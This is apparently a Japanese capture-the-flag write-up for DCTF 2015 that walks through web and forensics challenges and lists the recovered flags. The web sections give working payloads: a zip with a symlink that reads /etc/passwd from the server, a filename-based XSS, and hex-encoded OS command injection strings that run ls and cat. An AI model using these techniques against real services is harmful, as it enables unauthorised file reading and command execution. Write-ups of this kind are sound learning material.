yozakuraというチームで参加した。
web200
zipファイルをアップロードすると、展開して個々のファイルをダウンロードできるwebサービス
html内に思わせぶりなphpコメントが入っていた。 どうやらdctfユーザーのシェル名を取得してるっぽい。
<? $shell = shell_exec("getent passwd dctf | cut -d: -f7"); ?>
zipファイルにシンボリックリンクをアップロードするとサーバー上の任意のファイルをダウンロードできた(ディレクトリトラバーサル)。 試しにシェル名(/etc/passwd)をとってみると、Flag発見。
ln -s /etc/passwd passwd
zip -r showpasswd.zip passwd
wget http://example.com/?id=hoge&file=./passwd
cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
syslog:x:102:105::/home/syslog:/bin/false
ubuntu:x:1000:1000::/home/ubuntu:/bin/bash
mysql:x:103:106:MySQL Server,,,:/nonexistent:/bin/false
dctf:x:65533:65533:DCTF,,,:/nonexistent:/DCTF{28fad39245bc57404263540e94f417d8}
cat passwd | grep dctf | cut -d: -f7
/DCTF{28fad39245bc57404263540e94f417d8}
また、ファイル名をjavascriptのプログラムにすることで、jsを実行できた(XSS)。 が、Flagとは関係なかった。
mkdir "<script>alert("XSS");<"
cd "<script>alert("XSS");<"
touch "script>"
cd ..
zip xss.zip "<script>alert("XSS");</script>"
web400
画像が4枚表示されているwebページ それぞれの画像は
http://example.com/image?id=1&usr=1
http://example.com/image?id=2&usr=2
http://example.com/image?id=3&usr=3
http://example.com/image?id=4&usr=4
というふうに、idとuserをgetで渡して取得している。
idやusrに数値以外を送ると怒られるが、1〜4以外の数値を送ると、file not found的なシェルで実行したようなテキストが出てきた。 また、12.34や0x41を送ると、12.34やA(0x41のASCII対応文字)が表示され、任意のシェルを実行できた(OSコマンドインジェクション)。 試しに、lsをしてみるとテキストファイルが現れ、catするとFlagがあった。
wget http://example.com/image?id=0x3b6c733b&usr=1 # <= python ";ls;".encode("hex")
6e8218531e0580b6754b3e3be5252873.txt
images
index.php
wget http://example.com/image?id=3b6361742036653832313835333165303538306236373534623365336265353235323837332e7478743b&usr=! # <= python ";cat 6e8218531e0580b6754b3e3be5252873.txt;".encode("hex")
DCTF{19b1f9f19688da85ec52a735c8da0dd3}
misc100
壊れたpng画像
チェックサムが壊れているっぽいが直しても、意味不明な画像。 ぱっとみ、横幅がずれてるっぽい。
PNG を自力で読んで表示しよう その1 http://hoshi-sano.hatenablog.com/entry/2013/08/18/112550
processingでpng画像をパースして表示するプログラムがあったので、 試しに、ヘッダの情報を無視して横幅とかを適当に変えてみたところFlagが現れた。
vi misc100.pde
imageInfo.imageWidth = 891;//追記
imageInfo.imageHeight = 550;//追記
int rowHead = (i * (imageInfo.imageWidth * 3));//変更
processingはアニメーション表示が可能なので、少しずつ横幅を変えて表示、 みたいなことができるので良かった。
misc350
チームのみんなと一緒に解いた。
- dnsのリクエストが来るので応答
メールが来るのでsmtpで応答
sudo nc -l 25 HELO ...
メールの添付ファイルにpcapがある
- pcapの中にsmbプロトコルの通信がある
- smpプロトコル通信の中にzipがある(wiresharkでエクスポート)
- zipの中に大量gifがある
それぞれのgifのexifのcamera model nameにbase64文字列の断片がある
Camera Model Name : gAAAAAAAAAEAD9QQAAAABzb2wvVVQFAAPdEA9WdXgLAAEE6AMAAAToAwAAUEsBAh4
gifを時間別にソートし、base64文字列を結合しデコードするとzipがある
ls -rt1 *gif | xargs exiftool | grep Ca | awk '{print $5;}' | base64 --decode > a.zip
zipの中にflagというテキストがある
cat flag
DCTF{e4045481e906132b24c173c5ee52cd1e}
misc200
解けず
gunzip misc200.part0.jpg.gz
file misc200.part0.jpg
misc200.part0.jpg: x86 boot sector, code offset 0x52, OEM-ID "NTFS ", sectors/cluster 8, reserved sectors 0, Media descriptor 0xf8, heads 120, dos < 4.0 BootSector (0x80)
ntfsundelete misc200.part0.jpg
65 FN.. 100% 2015-10-04 63872 part0.zip
ntfsundelete misc200.part0.jpg -u -m part0.zip
unzip part0.zip
Archive: part0.zip
inflating: 3pm.redrah-yrt
mv 3pm.redrah-yrt try-harded.mp3
exiftool try-harder.mp3
Comment (xxx) : aHR0cDovL2RjdGYuZGVmLmNhbXAvX19kbmxkX18yMDE1X18vcGFydDEuaHRtbA
exiftool try-harder.mp3 | grep Comment | grep xxx | awk '{ print $4; }' | base64 --decode
http://dctf.def.camp/__dnld__2015__/part1.html
wget http://dctf.def.camp/__dnld__2015__/part1.html
ここで、タブとスペースが入り混じった自然なhtmlテキストが得られ、 それを01に対応させることで文字列が出てくるのだが、自分のプログラムにミスがあって、 文字列にならなくて積んでた。
misc400
Captcha 1337問
失敗したらやり直し、リロードは可能 文字はアルファベット(大文字のみ)と数字
プログラムを作成。 opencvで簡単なテンプレートマッチングを行う。 リロードはできるので、もし文字を検出できなかったらリロードして再度テンプレートマッチングを行う。
グレースケール化
1文字ずつ用意したテンプレート画像とマッチング
1337/1337 in a row!
Good job, the flag is: DCTF{6b91e112ee0332616a5fe6cc321e48f1}